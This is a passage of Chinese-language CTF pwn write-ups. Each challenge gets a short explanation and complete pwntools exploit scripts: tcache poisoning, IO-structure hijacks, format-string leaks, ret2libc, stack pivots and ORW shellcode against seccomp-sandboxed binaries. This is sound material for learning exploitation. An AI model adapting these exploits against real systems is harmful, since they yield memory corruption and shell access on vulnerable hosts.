 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x0a 0xffffffff  if (A != 0xffffffff) goto 0015
 0005: 0x15 0x08 0x00 0x00000029  if (A == socket) goto 0014
 0006: 0x15 0x07 0x00 0x0000002a  if (A == connect) goto 0014
 0007: 0x15 0x06 0x00 0x00000031  if (A == bind) goto 0014
 0008: 0x15 0x05 0x00 0x00000032  if (A == listen) goto 0014
 0009: 0x15 0x04 0x00 0x00000038  if (A == clone) goto 0014
 0010: 0x15 0x03 0x00 0x0000003b  if (A == execve) goto 0014
 0011: 0x15 0x02 0x00 0x00000065  if (A == ptrace) goto 0014
 0012: 0x15 0x01 0x00 0x000000a5  if (A == mount) goto 0014
 0013: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0014: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
 0015: 0x06 0x00 0x00 0x00000000  return KILL

,只允许 x86_64,禁掉了 execvesocket 之类,最好 ORW 吧。

然后来到真正的菜单堆逻辑:

while (1) {
    v15 = main_BPUGMG();
    v16 = qword_41A3D0;
    v21 = *(void (***)(void))runtime_mapaccess2_fast64(
        (unsigned int)&RTYPE_map_int_func, qword_41A3D0, v15);
    if (v16) {
        (*v21)();
    } else {
        v35[0] = &RTYPE_string;
        v35[1] = &aInval;
        v1 = 1;
        v2 = 1;
        fmt_Fprintln((unsigned int)off_2BCBE8, qword_41A3E8, (unsigned int)v35,
                     1, 1, (unsigned int)&aInval);
    }
}

。输入数字,从一个 map 取出对应功能函数并执行。创建 CTFBook 逻辑在 main_WEB5SF,其中会读入字符串并解码然后创建新 CTFBook,解码过程是:

encoding_base32__ptr_Encoding_DecodeString -> github_com_golang_protobuf_proto_Unmarshal -> 各字段 encoding_base64__ptr_Encoding_DecodeString

重点是 protobuf,用到的库是 github.com/golang/protobuf,这个库应该是可以直接识别 go 原生类,反序列化对应的 protobuf 数据,因此之后我们编码的时候可以直接用类定义里的字段名(之前做过 go json 序列化的题,json 里的字段名和类定义里的不同,排了很久的错)。到 IDA 的 Local Types,可以看到这个结构体:

00000000 struct __attribute__((aligned(8))) mypackage_CTFBook // sizeof=0x78
00000000 {
00000000     impl_MessageState state;
00000008     int32 sizeCache;
0000000C     // padding byte
0000000D     // padding byte
0000000E     // padding byte
0000000F     // padding byte
00000010     _slice_uint8 unknownFields;
00000028     string Title;
00000038     string Author;
00000048     string Isbn;
00000058     string PublishDate;
00000068     float64 Price;
00000070     int32 Stock;
00000074     // padding byte
00000075     // padding byte
00000076     // padding byte
00000077     // padding byte
00000078 };

,其中 statesizeCacheunknownFields 应该是 protobuf 库生成的,CTFBook 原本的字段是 TitleAuthorIsbnPublishDatePriceStock。所以可以编写这样的 .proto 文件:

syntax = "proto3";

package mypackage;

message CTFBook {
    string Title = 1;
    string Author = 2;
    string Isbn = 3;
    string PublishDate = 4;
    double Price = 5;
    int32 Stock = 6;
}

protoc 编译成 Python 脚本:

$ protoc ctf_book.proto --python_out=.

然后就可以用 Python 愉快输入了:

from ctf_book_pb2 import CTFBook
from dataclasses import dataclass
@dataclass
class Book:
    Title: bytes
    Author: bytes
    Isbn: bytes
    PublishDate: bytes
    Price: float
    Stock: int

    def to_proto_encoded(self):
        book = CTFBook()
        book.Title = base64.b64encode(self.Title)
        book.Author = base64.b64encode(self.Author)
        book.Isbn = base64.b64encode(self.Isbn)
        book.PublishDate = base64.b64encode(self.PublishDate)
        book.Price = self.Price
        book.Stock = self.Stock
        return base64.b32encode(book.SerializeToString())

之后简单 fuzz 一下发现虽然没有 UAF ,但是 edit 时不会检查长度,可以任意堆溢出。所以可以修改 tcache next,tcache attack 劫持 _IO_list_all,程序正常 exithouse of Some_IO_flush_all 时利用 IO wide_data 任意读写,利用 environ 泄漏栈基址,栈上 ROP)。

完整 exp:

#!/usr/bin/python

from pwn import *
from ctypes import *
from ctf_book_pb2 import CTFBook

itob = lambda x: str(x).encode()

context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
binary = './SuperHeap'

io = process(binary)
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=None)

gdb.attach(io, 'set resolve-heap-via-heuristic force') # goroutine 多线程会干扰 pwndbg 识别 main_arena

from dataclasses import dataclass
@dataclass
class Book:
    Title: bytes
    Author: bytes
    Isbn: bytes
    PublishDate: bytes
    Price: float
    Stock: int

    def to_proto_encoded(self):
        book = CTFBook()
        book.Title = base64.b64encode(self.Title)
        book.Author = base64.b64encode(self.Author)
        book.Isbn = base64.b64encode(self.Isbn)
        book.PublishDate = base64.b64encode(self.PublishDate)
        book.Price = self.Price
        book.Stock = self.Stock
        return base64.b32encode(book.SerializeToString())

# count: 28
def add(index: int, book: Book):
    io.sendlineafter(b'> ', b'1')
    io.sendlineafter(b': ', itob(index))
    io.sendlineafter(b': ', book.to_proto_encoded())

def show(index: int):
    io.sendlineafter(b'> ', b'2')
    io.sendlineafter(b': ', itob(index))

def delete(index: int):
    io.sendlineafter(b'> ', b'3')
    io.sendlineafter(b': ', itob(index))

def edit(index: int, book: Book):
    io.sendlineafter(b'> ', b'4')
    io.sendlineafter(b': ', itob(index))
    io.sendlineafter(b': ', book.to_proto_encoded())

def search(keyword: str):
    io.sendlineafter(b'> ', b'5')
    io.sendlineafter(b': ', keyword.encode())

add(0, Book(cyclic(0x800), b'', b'', b'', 0, 0))
delete(0)
for i in range(5):
    add(i, Book(b'', b'', b'', b'', 0, 0))
show(4)
io.recvuntil(b'Author: ')
libc.address = u64(io.recvuntil(b'\n', drop=True).ljust(8, b'\x00')) - 2207136
print(f'libc_base: 0x{libc.address:x}')
show(3)
io.recvuntil(b'Title: ')
heap_base = (u64(io.recvuntil(b'\n', drop=True).ljust(8, b'\x00')) - 2) << 12
print(f'heap_base: 0x{heap_base:x}')

edit(4, Book(cyclic(40) + p64(0x81) + p64(libc.sym['_IO_list_all'] ^ ((heap_base >> 12) + 2)), b'bbb2', b'ccc3', b'ddd4', 10101, 20202))
add(5, Book(cyclic(0x70), b'2bbb', b'3ccc', b'4ddd', 10101, 20202))
add(6, Book(cyclic(0x70), b'2bbb', b'3ccc', b'4ddd', 10101, 20202))

from SomeofHouse import HouseOfSome

hos = HouseOfSome(libc=libc, controled_addr=heap_base + 0x1000)
payload = hos.hoi_read_file_template(heap_base + 0x1000, 0x400, heap_base + 0x1000, 0)
print(payload)
add(7, Book(payload + b'rrrr', b'', b'', b'', 0, 0))
add(8, Book(p64(heap_base + 13344) + cyclic(0x68), b'2bbb', b'3ccc', b'4ddd', 10101, 20202))

io.sendlineafter(b'> ', b'6')
hos.bomb_orw(io, b'/flag')

io.interactive()

虽然做出来了,但是对于 go 部分的理解还比较混乱。

unint

输入负数作为无符号整数得到“无限”长栈溢出,fmtstr 获取 canary,32 位栈传参 ret2libc。

from pwn import * 
from ctypes import * 

context(arch="amd64", os="linux", terminal=["konsole", "-e"], log_level='debug') 
binary = './unint' 

# p = process(binary) 
p = connect('27.25.151.80', 40288) 
e = ELF(binary) 
libc = ELF('./libc.so.6') 

# gdb.attach(p, "set follow-fork-mode parent") 

p.sendlineafter(b'? ', b'-100') 
p.sendlineafter(b'?\n', b'%7$p') 
p.recvuntil(b':') 
canary = int(p.recvuntil(b'S', drop=True), 16) 
p.sendlineafter(b'!\n', cyclic(32) + p32(canary) + cyclic(12) + p32(e.sym['puts']) + p32(e.sym['vuln']) +
 p32(e.got['puts'])) 
p.recvuntil(b'\n') 
libc.address = u32(p.recv(4)) - libc.sym['puts'] 
success(f'libc_base: {hex(libc.address)}') 

p.sendlineafter(b'? ', b'-100') 
p.sendlineafter(b'?\n', b'RiK') 
p.sendlineafter(b'!\n', cyclic(32) + p32(canary) + cyclic(12) + p32(libc.address + 0x3a81c)) 

p.interactive()

Sharwama

from pwn import * 
from ctypes import * 

context(arch="amd64", os="linux", terminal=["konsole", "-e"]) 
binary = './Shawarma' 

p = connect('27.25.151.80', 33485) 
e = ELF(binary) 

# gdb.attach(p, "set follow-fork-mode parent") 

for i in range(1000): 
    p.sendline(b'5') 

p.sendline(b'2') 

p.interactive()

ret2half

首先绕过给出种子的猜随机数得到 admin 权限,可自由 view chunk。存在 UAF,限制 add 9 次。申请 0x10 大小获得先前 free chunk in tcache,view 得堆基址(tcache safe-linking xor with null)。然后 tcache poisoning 将 fake chunk 打到堆区上 tcache_perthread_struct 大堆块同时修改 tcache count,free 后得到 unsorted bin,view(回答玩原神)leak libc base。过程中顺便填入之后要用到的 shellcode。修改 tcache_perthread_struct 中 0x20 tcache_entry 为 &_environ、0x30 tcache_entry 为 &(0x80 tcache_entry),再次申请 0x10 大小 chunk 至 &_environ,view leak stack base。申请 0x20 大小 chunk 至 0x80 tcache_entry,写入 &stack;申请 0x70 大小 chunk 至 stack,写入 ROP 调用 mprotect 修改堆区页可执行并 ret2shellcode。本题开启 seccomp 沙箱禁用 execve open 等,需要 ORW(openat2、read、write)。

from pwn import *
from ctypes import *

context(arch="amd64", os="linux", terminal=["konsole", "-e"], log_level='debug')
binary = './ret2half'

#  line  CODE  JT   JF      K
# =================================
#  0000: 0x20 0x00 0x00 0x00000000  A = sys_number
#  0001: 0x35 0x00 0x03 0x40000000  if (A < 0x40000000) goto 0005
#  0002: 0x20 0x00 0x00 0x00000000  A = sys_number
#  0003: 0x15 0x01 0x00 0xffffffff  if (A == 0xffffffff) goto 0005
#  0004: 0x06 0x00 0x00 0x00000000  return KILL
#  0005: 0x15 0x0b 0x00 0x00000065  if (A == ptrace) goto 0017
#  0006: 0x20 0x00 0x00 0x00000000  A = sys_number
#  0007: 0x15 0x09 0x00 0x00000130  if (A == open_by_handle_at) goto 0017
#  0008: 0x20 0x00 0x00 0x00000000  A = sys_number
#  0009: 0x15 0x07 0x00 0x00000002  if (A == open) goto 0017
#  0010: 0x20 0x00 0x00 0x00000000  A = sys_number
#  0011: 0x15 0x05 0x00 0x00000101  if (A == openat) goto 0017
#  0012: 0x20 0x00 0x00 0x00000000  A = sys_number
#  0013: 0x15 0x03 0x00 0x00000142  if (A == execveat) goto 0017
#  0014: 0x20 0x00 0x00 0x00000000  A = sys_number
#  0015: 0x15 0x01 0x00 0x0000003b  if (A == execve) goto 0017
#  0016: 0x06 0x00 0x00 0x7fff0000  return ALLOW
#  0017: 0x06 0x00 0x00 0x00000000  return KILL

p = process(binary)
e = ELF(binary)
libc = cdll.LoadLibrary('./libc.so.6')

p.sendlineafter(b':\n', cyclic(9))
p.sendlineafter(b':\n', cyclic(9))

# get admin
p.sendlineafter(b':\n', b'3')
p.recvuntil(b'?\n')
seed = int(p.recv())
libc.srand(seed)
p.sendline(str(libc.rand()).encode())
libc = ELF('./libc.so.6')

# max: 9, size 1 ~ 112
def add(size: int, content: bytes):
    p.sendlineafter(b':\n', b'1')
    p.sendlineafter(b':\n', str(size).encode())
    p.sendlineafter(b':\n', content)

def edit(content: bytes):
    p.sendlineafter(b':\n', b'2')
    p.sendlineafter(b':\n', content)

def view():
    p.sendlineafter(b':\n', b'3')

def delete():
    p.sendlineafter(b':\n', b'4')

# gdb.attach(p)

add(0x10, b'')
view()
p.recvuntil(b'info:\n')
heap_base = (u64(p.recv(5).ljust(8, b'\x00')) >> 4) << 12
success(f'heap_base: {hex(heap_base)}')

shellcode = f"""
    push 0x50
    lea rax, [rsp - 0x60]
    push rax

    mov rax, 0x67616c662f
    push rax

    push __NR_openat2 ; pop rax
    xor rdi, rdi
    push rsp ; pop rsi
    mov rdx, {heap_base + 0x1000}
    push 0x18 ; pop r10
    syscall
    push rax

    push __NR_readv ; pop rax
    pop rdi
    popf
    push rsp ; pop rsi
    push 1 ; pop rdx
    syscall

    push __NR_writev ; pop rax
    push 1 ; pop rdi
    syscall
"""

add(0x70, b'asd')
delete()
edit(p64(heap_base + 0x10))
add(0x70, asm(shellcode))

add(0x70, b'\x00' * ((0x250 - 0x20) // 0x10) + b'\x07')
delete()
view()
p.sendlineafter(b'Y/N', b'Y')
p.recvuntil(b'info:')
libc.address = u64(p.recv(6).ljust(8, b'\x00')) - 0x3ebca0
success(f'libc_base: {hex(libc.address)}')

edit(b'\x01' * 0x40 + p64(libc.sym['_environ'] - 0x10) + p64(heap_base + 0x10 + 0x40 + ((0x80 - 0x20) // 0x10) * 0x8))
add(0x10, b'a' * 0xf)
view()
p.recvuntil(b'a' * 0xf + b'\n')
stack = u64(p.recv(6).ljust(8, b'\x00')) - 0x100
success(f'stack: {hex(stack)}')

add(0x20, p64(stack))

rop = flat([
    p64(libc.search(asm('pop rdi\nret')).__next__()), heap_base,
    # 0x0000000000130539 : pop rdx ; pop rsi ; ret;
    libc.address + 0x130539, 0x7, 0x1000,
    libc.sym['mprotect'],
    heap_base + 0x2a0
])

add(0x70, rop)

p.interactive()

远程栈偏移(environ)为 本地 - 0x8。

off-by-one

首先接收 gift backdoor。没限制堆块大小没清空堆块,leak libc、heap base。off-by-one 修改 size 构造重叠块,利用重叠堆块和堆基址绕过 safe-linking 修改 next,tcache poisoning 至 __malloc_hook,backdoor getshell。

from pwn import * 
from ctypes import * 

context(arch="amd64", os="linux", terminal=[ 
        "konsole", "-e"], log_level='debug') 
binary = './off-by-one' 

p = process(binary) 
# p = connect('27.25.151.80', 39991) 
e = ELF(binary) 
libc = ELF('./libc-2.32.so') 

# gdb.attach(p, "set follow-fork-mode parent") 

p.recvuntil(b':') 
shell = int(p.recvuntil(b'1.', drop=True), 16) 
success(hex(shell)) 

def add(size: int, content: bytes = None): 
    p.sendlineafter(b': ', b'1') 
    p.sendlineafter(b': ', str(size).encode()) 
    if content is not None: 
        p.sendlineafter(b'?\n', b'1') 
        p.sendafter(b': ', content) 
    else: 
        p.sendlineafter(b'?\n', b'0') 

def delete(index: int): 
    p.sendlineafter(b': ', b'2') 
    p.sendlineafter(b': ', str(index).encode()) 

def edit(index: int, content: bytes): 
    p.sendlineafter(b': ', b'3') 
    p.sendlineafter(b': ', str(index).encode()) 
    p.sendafter(b': ', content) 

def show(index: int): 
    p.sendlineafter(b': ', b'4') 
    p.sendlineafter(b': ', str(index).encode()) 

add(0x500) 
add(0x18) 
delete(0) 
delete(1) 
add(0x500, b'a')
add(0x18) 
show(0) 
libc.address = u64(p.recv(6).ljust(8, b'\x00')) - 1981537 
success(f'libc_base: {hex(libc.address)}') 
show(1) 
heap_base = u64(p.recv(5).ljust(8, b'\x00')) << 12 
success(f'heap_base: {hex(heap_base)}') 

add(0x18) 
add(0x18) 
edit(1, cyclic(0x18) + b'\x41') 
delete(2) 
add(0x38) 
add(0x18) 
delete(4) 
delete(3) 
edit(2, cyclic(0x18) + p64(0x21) + p64(libc.sym['__malloc_hook'] ^ (heap_base >> 12))) 
add(0x18) 
add(0x18, p64(shell)) 

p.sendlineafter(b': ', b'1') 
p.sendlineafter(b': ', b'1') 

p.interactive()

message

打开文件模式为 a+,写入时从文件末尾开始。开启两个远程向同一个文件写入,sleep 至两进程等待输入时先后输入。view 时没有检查文件内容长度,存在栈溢出。第一次 puts leak libc,第二次 getshell。

from ctypes import * 
from pwn import * 

context(arch="amd64", os="linux", terminal=["konsole", "-e"], log_level='debug') 
binary = './message' 

e = ELF(binary) 
libc = ELF('./libc.so.6') 

def add(p): 
    p.sendlineafter(b':', b'1') 

def start_edit(p): 
    p.sendlineafter(b':', b'2') 

def edit(p, content: bytes): 
    p.sendafter(b':', content) 

def view(p): 
    p.sendlineafter(b':', b'3') 

def delete(p): 
    p.sendlineafter(b':', b'4') 

pop_rdi = e.search(asm('pop rdi; ret;')).__next__() 

p = connect('27.25.151.80', 37364) 
q = connect('27.25.151.80', 37364) 

add(p) 
add(q) 
start_edit(p) 
start_edit(q) 
sleep(2.5) 
edit(p, cyclic(80)) 
edit(q, cyclic(0x70 - 80) + p64(0xcafebabe) + p64(pop_rdi) + p64(e.got['puts']) + p64(e.plt['puts']) + p6
4(e.sym['main'])) 
view(p) 
p.recvuntil(b'\n') 
libc.address = u64(p.recv(6).ljust(8, b'\x00')) - libc.sym['puts'] 
success(f'libc_base: {hex(libc.address)}') 

bin_sh = libc.search(b'/bin/sh\x00').__next__() 
system = libc.sym['system'] 
add(p) 
start_edit(p) 
start_edit(q) 
sleep(2.5) 
edit(p, cyclic(80)) 
edit(q, cyclic(0x70 - 80) + p64(0xcafebabe) + p64(pop_rdi) + p64(bin_sh) + p64(pop_rdi + 1) + p64(system)
) 

# gdb.attach(p, "set follow-fork-mode parent") 

view(p) 

p.interactive()

login

两次栈迁移板子。read 的参数和缓冲区大小竟然都和羊城杯 2024 签到题一样,改一下 fake_stack 地址直接出了。

from pwn import * 
from pwnlib.util.proc import wait_for_debugger 

context(os='linux', arch='amd64', bits=64, terminal=['konsole', '-e'], log_level='debug') 

binary = './vuln' 
# p = process(binary) 
p = connect('27.25.151.80', 39571) 
libc = ELF('./libc.so.6') 
e = ELF(binary) 

# gdb.attach(p) 

puts_addr = e.plt['puts'] 
puts_got_addr = e.got['puts'] 
vuln_addr = e.sym['login'] 
pop_rdi = e.search(asm('pop rdi; ret;')).__next__() 
leave = e.search(asm('leave; ret;')).__next__() 
fake_stack = 0x601500 
pop_rbp = e.search(asm('pop rbp; ret;')).__next__() 
fake_stack2 = 0x601500 + 0x3fe300 - 0x3FE2C0 

p.sendafter(b'n!\n', cyclic(48) + p64(fake_stack + 48) + p64(vuln_addr + 4)) 
p.sendafter(b'n!\n', p64(fake_stack2 + 48) + p64(pop_rdi) + p64(puts_got_addr) + p64(puts_addr) + p64(vul
n_addr + 4) + p64(0) + p64(fake_stack) + p64(leave)) 

puts = u64(p.recvn(6).ljust(8, b'\x00')) 
libc_base_addr = puts - libc.sym['puts'] 
print(hex(libc_base_addr)) 

bin_sh = libc_base_addr + libc.search(b'/bin/sh').__next__() 
pop_rdi = libc_base_addr + libc.search(asm('pop rdi; ret;')).__next__() 
pop_rsi = libc_base_addr + libc.search(asm('pop rsi; ret;')).__next__() 
execve = libc_base_addr + libc.symbols['execve'] 
pop_r12_r13 = libc_base_addr + libc.search(asm('pop r12; pop r13; ret;')).__next__() 
one_gadget = libc_base_addr + 0x4527a 
p.sendafter(b'n!\n', p64(fake_stack2) + p64(pop_r12_r13) + p64(fake_stack2 + 24) + p64(0) + p64(one_gadge
t) + p64(execve) + p64(fake_stack2) + p64(leave)) 

p.interactive()

eznote

限制堆块大小,考虑 tcache attack。将一个 tcache 打到堆区上 tcache_perthread_struct 大堆块同时修改 tcache count,free 后得到 unsorted bin,leak libc。然后修复 size=0x20 的 tcache count,再次 tcache poisoning 至 __malloc_hook,one_gadget getshell。

from pwn import * 
from ctypes import * 

context(arch="amd64", os="linux", terminal=["konsole", "-e"], log_level="debug") 
binary = "./attachment" 

# p = connect('27.25.151.80', 37857) 
p = process(binary) 
e = ELF(binary) 
libc = ELF("./libc.so.6") 

gdb.attach(p) 

index = -1 


def add(size: int, content: bytes) -> int: 
    global index 
    assert size <= 0x80 
    p.sendlineafter(b"> ", b"1") 
    p.sendlineafter(b": ", str(size).encode()) 
    p.sendafter(b": ", content) 
    index += 1 
    return index 


def edit(index: int, size: int, content: bytes): 
    p.sendlineafter(b"> ", b"2") 
    p.sendlineafter(b": ", str(index).encode()) 
    p.sendlineafter(b": ", str(size).encode()) 
    p.sendafter(b": ", content) 


def show(index: int): 
    p.sendlineafter(b"> ", b"3") 
    p.sendlineafter(b": ", str(index).encode()) 


def delete(index: int): 
    p.sendlineafter(b"> ", b"4") 
    p.sendlineafter(b": ", str(index).encode()) 


add(0x80, b"aaaa") 
delete(0) 
edit(0, 0x10, b"\x00" * 0x10) 
delete(0) 
show(0) 
p.recvuntil(b": ") 
heap_base = u64(p.recv(6).ljust(8, b"\x00")) >> 12 << 12 
success(f"heap_base: {hex(heap_base)}") 

edit(0, 0x10, p64(heap_base + 0x10) + b"\x00" * 8) 
add(0x80, b"bbbb") 
edit(add(0x80, b"cccc"), 0x80, b"\x00" * 79 + b"\x07") 
delete(2) 
show(2) 
p.recvuntil(b": ") 
main_arena = u64(p.recv(6).ljust(8, b"\x00")) 
libc.address = main_arena - 2018272 
success(f"libc_base: {hex(libc.address)}") 

delete(1) 
edit(2, 0x20, p64(main_arena) + p64(main_arena)[0:7] + b"\x01") 
edit(1, 0x8, p64(libc.sym["__malloc_hook"])) 
add(0x80, b"PwnRiK") 
add(0x80, p64(libc.address + 0xE3B01)) # one_gadget

p.sendlineafter(b"> ", b"1") 
p.sendlineafter(b": ", b"1") 

p.interactive()

Format1

标准的ret2libc

#! /usr/bin/env python3
from pwn import *
context(log_level='debug',
        arch='amd64',
        os='linux',
        terminal = ['tmux', 'sp', '-h', '-p', '70'])
file_name = './test'

elf = ELF(file_name)
libc = ELF('./libc-2.31.so')
# libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')
# io = process(file_name)
io = remote('27.25.151.80', 41880)

# gdb.attach(io)
io.recvuntil(b'BuildCTF\n')
io.recvuntil(b'=> ')
puts_addr = int(io.recvuntil(b'\n'), 16)
log.success(f"puts_addr = {hex(puts_addr)}")


io.sendline(b'%15$llx')
io.recvuntil(b's is ')
canary = int(io.recvuntil('?')[:-1], 16)
log.success(f"canary = {hex(canary)}")
libc_addr = puts_addr - libc.sym['puts']
log.success(f"libc = {hex(libc_addr)}")
system_addr = libc.sym['system'] + libc_addr
binsh_addr = next(libc.search(b'/bin/sh\x00')) + libc_addr
gad_pop_rdi_ret = libc_addr + next(libc.search(asm("pop rdi; ret;"), executable=True))

payload = cyclic(0x30 - 8) + p64(canary) + cyclic(8) + p64(gad_pop_rdi_ret) + p64(binsh_addr) +  p64(gad_pop_rdi_ret + 1) + p64(system_addr)
io.sendline(payload)

io.interactive()

Format2

已知 libc 偏移,一次 scanf 格式化字符串漏洞达到任意地址任意写,程序自然退出。注意到 libc 与 ld 偏移固定,考虑劫持 rtld_lock_default_lock_recursive 为 one_gadget,程序 exit 时在 _dl_fini 内被执行。

from pwn import *
from ctypes import *

context(arch="amd64", os="linux", terminal=["konsole", "-e"], log_level="debug")
binary = "./test1"

# p = process(binary)
p = connect('27.25.151.80', 42192)
e = ELF(binary)
libc = ELF("./libc-2.31.so")

p.recvuntil(b"0x")
libc_base = int(p.recvuntil(b"\n", drop=True).decode(), 16) - libc.sym["puts"]
success(hex(libc_base))
p.sendline(b'%7$lu'.ljust(8, b'\x00') + p64(libc_base + 0x1f4000 + 192360)) # &rtld_lock_default_lock_recursive
p.sendlineafter(b"?\n", str(libc_base + 0xE3B2E).encode())

p.interactive()

libc 与 ld 偏移与内核版本有关,一开始取本地偏移打远程打不通,换用 Ubuntu 22.04 虚拟机取偏移才顺利打通远程,其实也可以考虑爆破地址 8 bit。